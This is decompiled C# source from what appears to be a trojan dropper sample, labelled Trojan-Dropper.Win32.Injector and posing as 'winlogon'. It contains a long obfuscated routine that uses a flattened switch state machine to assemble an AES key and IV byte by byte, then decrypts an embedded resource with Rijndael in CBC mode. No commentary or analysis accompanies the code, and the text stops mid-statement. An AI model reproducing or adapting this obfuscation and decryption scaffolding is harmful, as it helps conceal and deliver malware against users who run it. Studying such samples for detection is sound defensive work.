// Decompiled with JetBrains decompiler // Type: K6lba8gkqFKwGTxlJE.ipbpJ7ihfEneDowwMq // Assembly: winlogon, Version=6.1.7601.17514, Culture=neutral, PublicKeyToken=null // MVID: AC059A05-C181-4518-A4B8-9A5E8B3420DD // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.famp-6427595611179d5d5dac279b1a45e8419adb3bb7a48e56b0dc2408b6a417bbb5.exe using qpa0K4UP35oevQjLvS; using System; using System.Collections; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace K6lba8gkqFKwGTxlJE { internal class ipbpJ7ihfEneDowwMq { private static byte[] LT6B8GTWy; private static IntPtr oWeJ7vWM4; private static int NiL55l3Z2; private static bool oA5hKDAOD; internal static ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb k46HAZwFlB; private static long wAVHU0nsTV; internal static Hashtable H5uHCkedEX; private static int OL0Hlq15dX; private static byte[] YDwWw1vZ2; private static int hKjMnx0dH; private static long RkazkhIoY; private static object pbSQFSfou; private static byte[] MhfgoJaqo = new byte[0]; private static IntPtr EVF0nHd64; private static bool nrgHSMxrKu; internal static ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb QSrHHp6Vhg; private static byte[] YYydr09Mx; private static int J6kHeWKAjB; private static SortedList fAOm8s4UA; private static IntPtr SfsHkoeDkE; private static int[] qRiVMivkd; [MethodImpl(MethodImplOptions.NoInlining)] static ipbpJ7ihfEneDowwMq() { ipbpJ7ihfEneDowwMq.YDwWw1vZ2 = new byte[0]; ipbpJ7ihfEneDowwMq.LT6B8GTWy = new byte[0]; ipbpJ7ihfEneDowwMq.YYydr09Mx = new byte[0]; ipbpJ7ihfEneDowwMq.oWeJ7vWM4 = IntPtr.Zero; ipbpJ7ihfEneDowwMq.EVF0nHd64 = IntPtr.Zero; ipbpJ7ihfEneDowwMq.pbSQFSfou = (object) new string[0]; ipbpJ7ihfEneDowwMq.qRiVMivkd = new int[0]; ipbpJ7ihfEneDowwMq.NiL55l3Z2 = 1; ipbpJ7ihfEneDowwMq.oA5hKDAOD = false; ipbpJ7ihfEneDowwMq.fAOm8s4UA = new SortedList(); ipbpJ7ihfEneDowwMq.hKjMnx0dH = 0; ipbpJ7ihfEneDowwMq.RkazkhIoY = 0L; ipbpJ7ihfEneDowwMq.k46HAZwFlB = (ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb) null; ipbpJ7ihfEneDowwMq.QSrHHp6Vhg = (ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb) null; ipbpJ7ihfEneDowwMq.wAVHU0nsTV = 0L; ipbpJ7ihfEneDowwMq.OL0Hlq15dX = 0; ipbpJ7ihfEneDowwMq.nrgHSMxrKu = false; ipbpJ7ihfEneDowwMq.J6kHeWKAjB = 0; ipbpJ7ihfEneDowwMq.SfsHkoeDkE = IntPtr.Zero; ipbpJ7ihfEneDowwMq.H5uHCkedEX = new Hashtable(); } [MethodImpl(MethodImplOptions.NoInlining)] private void R7tZdUAofxTxH() { } [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] static string YHW3lrBiD([In] int obj0) { int num1 = 129; int num2; while (true) { byte[] numArray1; int num3; byte[] numArray2; int num4; int num5; RijndaelManaged rijndaelManaged; int num6; int num7; byte[] numArray3; byte[] numArray4; byte[] numArray5; BinaryReader binaryReader; CryptoStream cryptoStream; byte[] numArray6; MemoryStream memoryStream; ICryptoTransform transform; int num8; switch (num1) { case 0: numArray2[7] = (byte) (226 - 75); num5 = 42; goto label_285; case 1: numArray2[16] = (byte) num4; num5 = 22; goto label_285; case 2: num7 = 140 - 46; num8 = 85; break; case 3: numArray1[13] = (byte) num7; num5 = 66; goto label_285; case 4: numArray2[10] = (byte) (164 - 54); num5 = 296; if (true) goto label_285; else goto case 197; case 5: numArray2[19] = (byte) num4; num1 = 341; continue; case 6: numArray2[19] = (byte) num4; num1 = 306; continue; case 7: numArray4[13] = numArray5[6]; num5 = 262; if (true) goto label_285; else goto case 118; case 8: numArray2[9] = (byte) num4; num5 = 93; if (true) goto label_285; else goto case 107; case 9: num4 = 24 + 100; num5 = 168; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 356; else goto label_285; case 10: num6 = 146 + 29; num8 = 20; break; case 11: num7 = 0 + 101; num1 = 265; continue; case 12: numArray2[3] = (byte) num6; num8 = 47; break; case 13: numArray1[14] = (byte) num3; num5 = 256; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 249; case 14: numArray2[9] = (byte) (46 + 71); num5 = 177; goto label_285; case 15: numArray2[16] = (byte) (38 + 72); num1 = 135; continue; case 16: // ISSUE: type reference binaryReader = new BinaryReader((Stream) ipbpJ7ihfEneDowwMq.goAOYvZXL8wyukgyhQ((object) ipbpJ7ihfEneDowwMq.gRaxCfNbl5AQe5DMfO(__typeref (ipbpJ7ihfEneDowwMq)).Assembly, (object) "7v5JjQg7hMWZRZ6RI8.DLsj2WsufAScc2vJ3k")); num5 = 40; goto label_285; case 17: numArray1[14] = (byte) (163 - 54); num1 = 120; continue; case 18: numArray1[5] = (byte) (79 + 78); num8 = 163; break; case 19: numArray2[29] = (byte) num4; num5 = 119; if (true) goto label_285; else goto case 317; case 20: numArray2[23] = (byte) num6; num1 = 61; continue; case 21: num7 = 58 + 87; num5 = 181; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 252; case 22: num4 = 144 + 0; num8 = 59; break; case 23: num4 = 35 + 84; num5 = 134; if (true) goto label_285; else goto case 81; case 24: num7 = 148 - 110; num1 = 281; continue; case 25: numArray1[12] = (byte) (216 - 72); num5 = 288; goto label_285; case 26: num2 = ipbpJ7ihfEneDowwMq.UqCD6r9d9Kmjenv2O1((object) ipbpJ7ihfEneDowwMq.LT6B8GTWy, obj0); num1 = 357; continue; case 27: numArray3 = numArray2; num1 = 29; continue; case 28: numArray2[7] = (byte) (54 + 30); num1 = 0; continue; case 29: numArray1 = new byte[16]; num5 = 297; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 85; else goto label_285; case 30: numArray1[7] = (byte) (79 - 46); num1 = 303; continue; case 31: numArray4[7] = numArray5[3]; num5 = 132; goto label_285; case 32: num4 = 52 + 6; num8 = 194; break; case 33: numArray2[6] = (byte) num4; num8 = 67; break; case 34: numArray1[5] = (byte) (196 - 65); num5 = 346; goto label_285; case 35: numArray2[11] = (byte) num4; num8 = 48; break; case 36: num4 = 221 - 73; num5 = 190; if (true) goto label_285; else goto case 169; case 37: num4 = 136 - 45; num1 = 215; continue; case 38: num6 = 134 - 44; num5 = 105; if (true) goto label_285; else goto case 160; case 39: numArray1[11] = (byte) num3; num1 = 289; continue; case 40: ipbpJ7ihfEneDowwMq.SKWIx9qaW1C58pM1Pu(ipbpJ7ihfEneDowwMq.LlojKQVnfNSQ01Je0j((object) binaryReader), 0L); num8 = 319; break; case 41: numArray2[11] = (byte) num4; num5 = 81; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 289; else goto label_285; case 42: numArray2[7] = (byte) (59 + 96); num5 = 38; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 355; case 43: num6 = 4 + 93; num8 = 165; break; case 44: numArray2[22] = (byte) num6; num8 = 287; break; case 45: num6 = 217 - 72; num5 = 320; goto label_285; case 46: if (numArray5 != null) { num5 = 157; goto label_285; } else goto case (int) sbyte.MaxValue; case 47: numArray2[3] = (byte) (115 + 35); num8 = 189; break; case 48: numArray2[11] = (byte) (177 - 59); num8 = 179; break; case 49: num6 = 56 + 64; num5 = 207; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 108; else goto label_285; case 50: memoryStream = new MemoryStream(); num5 = 348; if (true) goto label_285; else goto case 183; case 51: numArray1[1] = (byte) (204 - 68); num8 = 11; break; case 52: num6 = 224 - 74; num8 = 280; break; case 53: num4 = 72 + 72; num8 = 90; break; case 54: num4 = 80 + 22; num5 = 293; goto label_285; case 55: numArray1[7] = (byte) (217 - 72); num8 = 88; break; case 56: num7 = 56 + 64; num1 = 126; continue; case 57: numArray2[21] = (byte) num6; num1 = 329; continue; case 58: numArray2[21] = (byte) num6; num8 = 169; break; case 59: numArray2[16] = (byte) num4; num5 = 52; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 149; else goto label_285; case 60: num7 = 103 + 31; num1 = 327; continue; case 61: numArray2[24] = (byte) ((int) sbyte.MaxValue - 42); num8 = 111; break; case 62: numArray2[30] = (byte) num4; num5 = 244; goto label_285; case 63: num6 = 72 + 96; num5 = 339; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 308; else goto label_285; case 64: num6 = 107 + 8; num8 = ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi() ? 222 : 323; break; case 65: numArray2[9] = (byte) num4; num1 = 54; continue; case 66: num3 = 21 + 79; num1 = 167; continue; case 67: num4 = 104 + 100; num8 = 185; break; case 68: numArray2[1] = (byte) num4; num8 = 196; break; case 69: numArray2[1] = (byte) (101 + 71); num8 = 278; break; case 70: num7 = 2 + 116; num5 = 188; if (true) goto label_285; else goto case 223; case 71: numArray2[13] = (byte) (39 + 87); num8 = 23; break; case 72: numArray2[5] = (byte) num4; num8 = 149; break; case 73: numArray1[11] = (byte) (171 + 6); num5 = 314; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 55; case 74: num6 = 128 - 75; num5 = 91; if (true) goto label_285; else goto case 123; case 75: num4 = 165 - 55; num5 = 117; goto label_285; case 76: num3 = 35 + 84; num5 = 39; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 194; else goto label_285; case 77: num4 = 76 + 11; num8 = 225; break; case 78: num6 = 167 + 8; num5 = 226; if (true) goto label_285; else goto case 304; case 79: numArray2[2] = (byte) num6; num1 = 152; continue; case 80: numArray2[14] = (byte) num6; num5 = 239; if (true) goto label_285; else goto case 12; case 81: num4 = 181 - 60; num5 = 35; if (true) goto label_285; else goto case 25; case 82: numArray2[16] = (byte) (54 + 117); num8 = 15; break; case 83: numArray2[8] = (byte) (44 + 22); num5 = 192; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 11; case 84: num7 = 178 - 59; num1 = 113; continue; case 85: numArray1[7] = (byte) num7; num5 = 30; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 57; else goto label_285; case 86: numArray2[17] = (byte) (18 + 57); num5 = 272; if (true) goto label_285; else goto case 93; case 87: num7 = 95 + 7; num1 = 211; continue; case 88: num3 = 209 - 69; goto case 222; case 89: num4 = 134 - 44; num5 = 68; if (true) goto label_285; else goto case 95; case 90: numArray2[20] = (byte) num4; num8 = 128; break; case 91: numArray2[6] = (byte) num6; num5 = 206; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 276; else goto label_285; case 92: numArray2[24] = (byte) (132 - 78); num5 = 110; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 129; case 93: num4 = 76 + 88; num8 = 65; break; case 94: numArray2[21] = (byte) (37 + 44); num1 = 63; continue; case 95: num6 = 105 + 123; num8 = 166; break; case 96: numArray2[10] = (byte) num4; num8 = 312; break; case 97: numArray2[26] = (byte) (189 - 63); num8 = 354; break; case 98: numArray2[26] = (byte) (237 - 79); num8 = 97; break; case 99: numArray1[10] = (byte) (53 + 1); num1 = 283; continue; case 100: num3 = 91 + 114; num5 = 338; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 35; case 101: numArray2[7] = (byte) num4; num5 = 28; goto label_285; case 102: numArray2[27] = (byte) (141 - 47); num1 = 182; continue; case 103: ipbpJ7ihfEneDowwMq.TCk8nx5K0V5hBA635R((object) memoryStream); num1 = 171; continue; case 104: numArray1[3] = (byte) (118 + 87); num8 = 150; break; case 105: numArray2[8] = (byte) num6; num1 = 83; continue; case 106: numArray2[18] = (byte) (111 + 89); num5 = 325; goto label_285; case 107: numArray1[6] = (byte) num7; num8 = 84; break; case 108: num7 = 241 - 80; num1 = 300; continue; case 109: numArray2[12] = (byte) (144 + 40); num5 = 71; if (true) goto label_285; else goto case 310; case 110: numArray2[25] = (byte) (92 + 117); num5 = 285; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 233; else goto label_285; case 111: numArray2[24] = (byte) (204 - 68); num8 = 273; break; case 112: num7 = 207 - 69; num5 = 310; goto label_285; case 113: numArray1[6] = (byte) num7; num5 = 138; if (true) goto label_285; else goto case 167; case 114: numArray1[9] = (byte) (189 - 63); num5 = 317; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 133; case 115: numArray2[2] = (byte) (100 + 115); num5 = 268; goto label_285; case 116: numArray2[2] = (byte) num6; num1 = 234; continue; case 117: numArray2[15] = (byte) num4; num5 = 291; goto label_285; case 118: num7 = 86 + 44; num5 = 107; if (true) goto label_285; else goto case 164; case 119: numArray2[29] = (byte) (212 - 70); num5 = (int) byte.MaxValue; goto label_285; case 120: numArray1[14] = (byte) (180 - 59); num8 = 60; break; case 121: numArray4[1] = numArray5[0]; num8 = 304; break; case 122: numArray1[8] = (byte) num7; num1 = 334; continue; case 123: numArray2[29] = (byte) (132 - 44); num1 = 307; continue; case 124: num6 = 38 - 14; num5 = 44; goto label_285; case 125: num7 = 199 - 66; num5 = 3; goto label_285; case 126: numArray1[0] = (byte) num7; num5 = 191; goto label_285; case (int) sbyte.MaxValue: rijndaelManaged = new RijndaelManaged(); num5 = 173; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 250; case 128: numArray2[20] = (byte) (27 + 36); num8 = 277; break; case 129: if (ipbpJ7ihfEneDowwMq.LT6B8GTWy.Length == 0) { num1 = 16; continue; } goto case 26; case 130: numArray2[18] = (byte) num6; num1 = 313; continue; case 131: numArray1[12] = (byte) (123 + 47); num1 = 25; continue; case 132: numArray4[9] = numArray5[4]; num8 = 158; break; case 133: num3 = 102 + 54; num5 = 13; goto label_285; case 134: numArray2[13] = (byte) num4; num5 = 37; goto label_285; case 135: num6 = 59 + 42; num5 = 213; goto label_285; case 136: numArray1[10] = (byte) num7; num5 = 100; goto label_285; case 137: numArray2[31] = (byte) (176 - 58); num1 = 32; continue; case 138: numArray1[6] = (byte) (177 - 88); num5 = 108; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 319; case 139: numArray1[14] = (byte) num7; num8 = 70; break; case 140: transform = (ICryptoTransform) ipbpJ7ihfEneDowwMq.CEmlJVCjpTH21l1ajg((object) rijndaelManaged, (object) numArray3, (object) numArray4); num5 = 50; if (true) goto label_285; else goto case 141; case 141: numArray2[27] = (byte) (41 + 19); num5 = 95; goto label_285; case 142: numArray2[3] = (byte) num4; num1 = 275; continue; case 143: num4 = 11 + 19; num5 = 62; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 224; else goto label_285; case 144: num3 = 206 - 68; num5 = 247; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 343; case 145: case 323: numArray2[21] = (byte) num6; num5 = 324; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 0; else goto label_285; case 146: // ISSUE: type reference numArray5 = (byte[]) ipbpJ7ihfEneDowwMq.HR5XCyB17Hq3My9rlK(ipbpJ7ihfEneDowwMq.EPNYDWvF335ihAr7rN((object) ipbpJ7ihfEneDowwMq.gRaxCfNbl5AQe5DMfO(__typeref (ipbpJ7ihfEneDowwMq)).Assembly)); num1 = 46; continue; case 147: num4 = 149 - 49; num5 = 187; if (true) goto label_285; else goto case 9; case 148: numArray1[14] = (byte) num3; num8 = 17; break; case 149: numArray2[5] = (byte) (143 - 47); num5 = 238; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 256; case 150: numArray1[3] = (byte) (138 - 46); num5 = 201; if (true) goto label_285; else goto case 144; case 151: numArray1[8] = (byte) (39 + 9); num1 = 164; continue; case 152: numArray2[2] = (byte) (38 + 76); num5 = 233; if (true) goto label_285; else goto case 131; case 153: num4 = 108 + 13; num5 = 197; goto label_285; case 154: numArray1[5] = (byte) (230 - 76); num8 = 34; break; case 155: numArray1[11] = (byte) num3; num8 = 73; break; case 156: numArray1[3] = (byte) num7; num5 = 230; goto label_285; case 157: if (numArray5.Length > 0) { num1 = 121; continue; } goto case (int) sbyte.MaxValue; case 158: numArray4[11] = numArray5[5]; num1 = 7; continue; case 159: num4 = 128 + 62; num5 = 178; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 143; case 160: num6 = 112 + 114; num8 = 290; break; case 161: num6 = 63 + 83; num5 = 254; if (true) goto label_285; else goto case 215; case 162: numArray2[4] = (byte) (62 + 30); num8 = 267; break; case 163: num7 = 192 + 30; num8 = 328; break; case 164: numArray1[8] = (byte) (83 + 22); num8 = 318; break; case 165: numArray2[27] = (byte) num6; num5 = 147; if (true) goto label_285; else goto case 322; case 166: numArray2[27] = (byte) num6; num8 = 43; break; case 167: numArray1[13] = (byte) num3; num5 = 200; goto label_285; case 168: numArray2[20] = (byte) num4; num8 = 53; break; case 169: numArray2[22] = (byte) (82 + 120); num5 = 355; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 181; case 170: num6 = 59 - 54; num1 = 299; continue; case 171: ipbpJ7ihfEneDowwMq.TCk8nx5K0V5hBA635R((object) cryptoStream); num1 = 286; continue; case 172: numArray2[30] = (byte) num4; num5 = 252; if (true) goto label_285; else goto case 251; case 173: ipbpJ7ihfEneDowwMq.GognAflfqlgqlBeRPd((object) rijndaelManaged, CipherMode.CBC); num1 = 140; continue; case 174: num4 = 22 + 56; num5 = 96; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 7; else goto label_285; case 175: numArray2[9] = (byte) num6; num1 = 232; continue; case 176: num3 = 161 - 53; num5 = 208; goto label_285; case 177: num6 = 120 + 39; num5 = 175; goto label_285; case 178: numArray2[14] = (byte) num4; num1 = 248; continue; case 179: numArray2[11] = (byte) (57 + 109); num8 = 257; break; case 180: numArray2[14] = (byte) num4; num5 = 236; goto label_285; case 181: numArray1[0] = (byte) num7; num8 = 198; break; case 182: num6 = 157 + 31; num1 = 219; continue; case 183: numArray1[2] = (byte) (2 + 21); num1 = 202; continue; case 184: numArray2[19] = (byte) num4; num1 = 224; continue; case 185: numArray2[6] = (byte) num4; num5 = 74; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 196; case 186: numArray1[6] = (byte) (129 - 43); num5 = 118; goto label_285; case 187: numArray2[27] = (byte) num4; num5 = 102; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case (int) sbyte.MaxValue; case 188: numArray1[14] = (byte) num7; num1 = 133; continue; case 189: numArray2[3] = (byte) (2 + 21); num5 = 301; if (true) goto label_285; else goto case 87; case 190: numArray2[20] = (byte) num4; num1 = 9; continue; case 191: numArray1[0] = (byte) (156 - 52); num1 = 253; continue; case 192: numArray2[8] = (byte) (171 + 51); num5 = 223; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 334; case 193: numArray2[15] = (byte) (182 - 60); num1 = 203; continue; case 194: numArray2[31] = (byte) num4; num1 = 227; continue; case 195: ipbpJ7ihfEneDowwMq.XrJs8qbf0HSo6NC9rB((object) cryptoStream, (object) numArray6, 0, numArray6.Length); num5 = 243; goto label_285; case 196: numArray2[1] = (byte) (162 - 95); num8 = 115; break; case 197: numArray2[26] = (byte) num4; num5 = 98; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 19; case 198: numArray1[1] = (byte) (223 - 74); num8 = 228; break; case 199: numArray4[5] = numArray5[2]; num8 = 31; break; case 200: numArray1[13] = (byte) (179 - 55); num5 = 258; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 314; case 201: num7 = 129 + 62; num5 = 156; if (true) goto label_285; else goto case 114; case 202: numArray1[2] = (byte) (102 + 74); num1 = 104; continue; case 203: numArray2[15] = (byte) (168 - 56); num8 = 212; break; case 204: numArray1[11] = (byte) (166 - 55); num5 = 352; if (true) goto label_285; else goto case 88; case 205: num4 = 157 - 52; num8 = 1; break; case 206: num4 = 24 + 79; num8 = 101; break; case 207: numArray2[0] = (byte) num6; num5 = 263; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 50; else goto label_285; case 208: numArray1[2] = (byte) num3; num5 = 183; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 253; case 209: numArray2 = new byte[32]; num5 = 77; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 96; else goto label_285; case 210: num6 = 239 - 79; num1 = 116; continue; case 211: numArray1[1] = (byte) num7; num1 = 51; continue; case 212: num6 = 179 + 2; num5 = 276; if (true) goto label_285; else goto case 241; case 213: numArray2[16] = (byte) num6; num8 = 205; break; case 214: numArray2[24] = (byte) (172 - 57); num1 = 92; continue; case 215: numArray2[13] = (byte) num4; num8 = 78; break; case 216: num4 = 174 - 58; num8 = 33; break; case 217: numArray1[13] = (byte) (198 - 66); num8 = 125; break; case 218: numArray1[2] = (byte) (103 + 29); num5 = 176; if (true) goto label_285; else goto case 44; case 219: numArray2[27] = (byte) num6; num5 = 342; if (true) goto label_285; else goto case 151; case 220: num4 = 91 + 45; num1 = 72; continue; case 221: num7 = 143 - 47; num8 = 261; break; case 222: case 271: numArray1[7] = (byte) num3; num8 = 2; break; case 223: num4 = 155 - 51; num5 = 8; if (true) goto label_285; else goto case 337; case 224: numArray2[19] = (byte) (51 + 81); num5 = 315; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 30; else goto label_285; case 225: numArray2[0] = (byte) num4; num1 = 49; continue; case 226: numArray2[13] = (byte) num6; num5 = 240; goto label_285; case 227: numArray2[31] = (byte) (65 + 69); num5 = 170; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 49; case 228: numArray1[1] = (byte) (100 + 115); num5 = 87; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 208; case 229: numArray2[23] = (byte) (89 + 85); num5 = 10; if (true) goto label_285; else goto case 300; case 230: numArray1[4] = (byte) (164 - 54); num5 = 344; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 246; else goto label_285; case 231: numArray1[9] = (byte) (243 - 81); num1 = 114; continue; case 232: num6 = 95 + 67; num5 = 308; if (true) goto label_285; else goto case 24; case 233: numArray2[2] = (byte) (0 + 101); num5 = 210; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 150; case 234: numArray2[2] = (byte) (30 + 119); num8 = 295; break; case 235: numArray2[5] = (byte) num6; num5 = 216; goto label_285; case 236: numArray2[14] = (byte) (77 + 88); num5 = 159; if (true) goto label_285; else goto case 296; case 237: numArray1[4] = (byte) (91 + 45); num5 = 221; goto label_285; case 238: num6 = 169 - 55; num1 = 235; continue; case 239: num4 = 252 - 84; num8 = 180; break; case 240: num6 = 235 - 78; num5 = 80; goto label_285; case 241: numArray1[9] = (byte) num3; num5 = 266; if (true) goto label_285; else goto case 30; case 242: num6 = 22 + 121; num8 = 130; break; case 243: ipbpJ7ihfEneDowwMq.kT2w7oSkjFmtlwVDfA((object) cryptoStream); num8 = 316; break; case 244: numArray2[30] = (byte) (114 + 39); num5 = 345; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 189; case 245: numArray2[30] = (byte) (24 + 50); num1 = 246; continue; case 246: numArray2[30] = (byte) (96 + 42); num1 = 302; continue; case 247: numArray1[13] = (byte) num3; num1 = 217; continue; case 248: numArray2[15] = (byte) (230 - 76); num5 = 75; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 227; else goto label_285; case 249: numArray1[15] = (byte) num7; num1 = 264; continue; case 250: numArray2[4] = (byte) (131 + 107); num5 = 220; goto label_285; case 251: numArray2[23] = (byte) num4; num5 = 229; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 60; case 252: numArray2[31] = (byte) (62 + 120); num5 = 137; goto label_285; case 253: numArray1[0] = (byte) (198 - 66); num8 = 112; break; case 254: numArray2[28] = (byte) num6; num5 = 340; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 205; case (int) byte.MaxValue: numArray2[29] = (byte) (201 - 67); num1 = 45; continue; case 256: num3 = 64 + 38; num1 = 148; continue; case 257: numArray2[12] = (byte) (23 + 29); num1 = 279; continue; case 258: num7 = 42 + 13; num1 = 139; continue; case 259: numArray1[10] = (byte) num7; num8 = 204; break; case 260: numArray2[22] = (byte) num4; num8 = 124; break; case 261: numArray1[4] = (byte) num7; num5 = 332; goto label_285; case 262: numArray4[15] = numArray5[7]; num5 = (int) sbyte.MaxValue; if (true) goto label_285; else goto case 41; case 263: numArray2[0] = (byte) (120 + 105); num1 = 69; continue; case 264: numArray4 = numArray1; num5 = 146; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 6; else goto label_285; case 265: numArray1[1] = (byte) num7; num5 = 24; if (true) goto label_285; else goto case 176; case 266: num7 = 153 - 51; num5 = 136; if (true) goto label_285; else goto case 180; case 267: numArray2[4] = (byte) (154 - 51); num5 = 250; if (true) goto label_285; else goto case 243; case 268: num6 = 224 - 74; num5 = 79; goto label_285; case 269: numArray2[26] = (byte) num6; num1 = 141; continue; case 270: num6 = 50 - 24; goto case 269; case 272: num4 = 205 - 105; num5 = 336; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 352; case 273: numArray2[24] = (byte) (107 + 12); num5 = 331; goto label_285; case 274: numArray1[15] = (byte) (125 - 41); num1 = 305; continue; case 275: numArray2[3] = (byte) (178 - 118); num1 = 353; continue; case 276: numArray2[15] = (byte) num6; num8 = 298; break; case 277: numArray2[20] = (byte) (154 + 1); num1 = 94; continue; case 278: numArray2[1] = (byte) (79 + 41); num5 = 89; goto label_285; case 279: numArray2[12] = (byte) (83 + 4); num1 = 109; continue; case 280: numArray2[17] = (byte) num6; num1 = 86; continue; case 281: numArray1[1] = (byte) num7; num5 = 294; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 27; case 282: numArray2[29] = (byte) num4; num1 = 143; continue; case 283: numArray1[10] = (byte) (109 + 120); num5 = 335; goto label_285; case 284: numArray1[5] = (byte) (204 - 68); num5 = 18; goto label_285; case 285: num4 = 115 + 95; num5 = 333; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 242; case 286: ipbpJ7ihfEneDowwMq.rTOc8Bh2n9u5XmTdKI((object) binaryReader); num5 = 26; if (true) goto label_285; else goto case 295; case 287: num4 = 92 + 101; num5 = 251; goto label_285; case 288: numArray1[12] = (byte) (112 + 97); num5 = 144; goto label_285; case 289: num3 = 136 - 45; num5 = 155; goto label_285; case 290: numArray2[10] = (byte) num6; num8 = 322; break; case 291: numArray2[15] = (byte) (121 + 21); num8 = 193; break; case 292: numArray1[9] = (byte) num3; num5 = 231; goto label_285; case 293: numArray2[9] = (byte) num4; num8 = 14; break; case 294: numArray1[2] = (byte) (138 - 46); num5 = 218; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 54; case 295: num6 = 30 + 103; num5 = 12; if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto case 66; else goto label_285; case 296: num6 = 194 - 84; num1 = 347; continue; case 297: numArray1[0] = (byte) (76 + 11); num8 = 56; break; case 298: numArray2[16] = (byte) (116 + 118); num1 = 82; continue; case 299: numArray2[31] = (byte) num6; num1 = 27; continue; case 300: numArray1[7] = (byte) num7; num1 = 55; continue; case 301: num4 = 187 - 62; num5 = 142; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 97; case 302: num4 = 141 + 0; num1 = 172; continue; case 303: numArray1[8] = (byte) (137 - 45); num5 = 151; if (true) goto label_285; else goto case 287; case 304: numArray4[3] = numArray5[1]; num5 = 199; goto label_285; case 305: numArray1[15] = (byte) (95 + 3); num5 = 343; if (true) goto label_285; else goto case 230; case 306: numArray2[19] = (byte) (142 - 48); num5 = 36; if (true) goto label_285; else goto case 26; case 307: num4 = 84 + 24; num5 = 19; goto 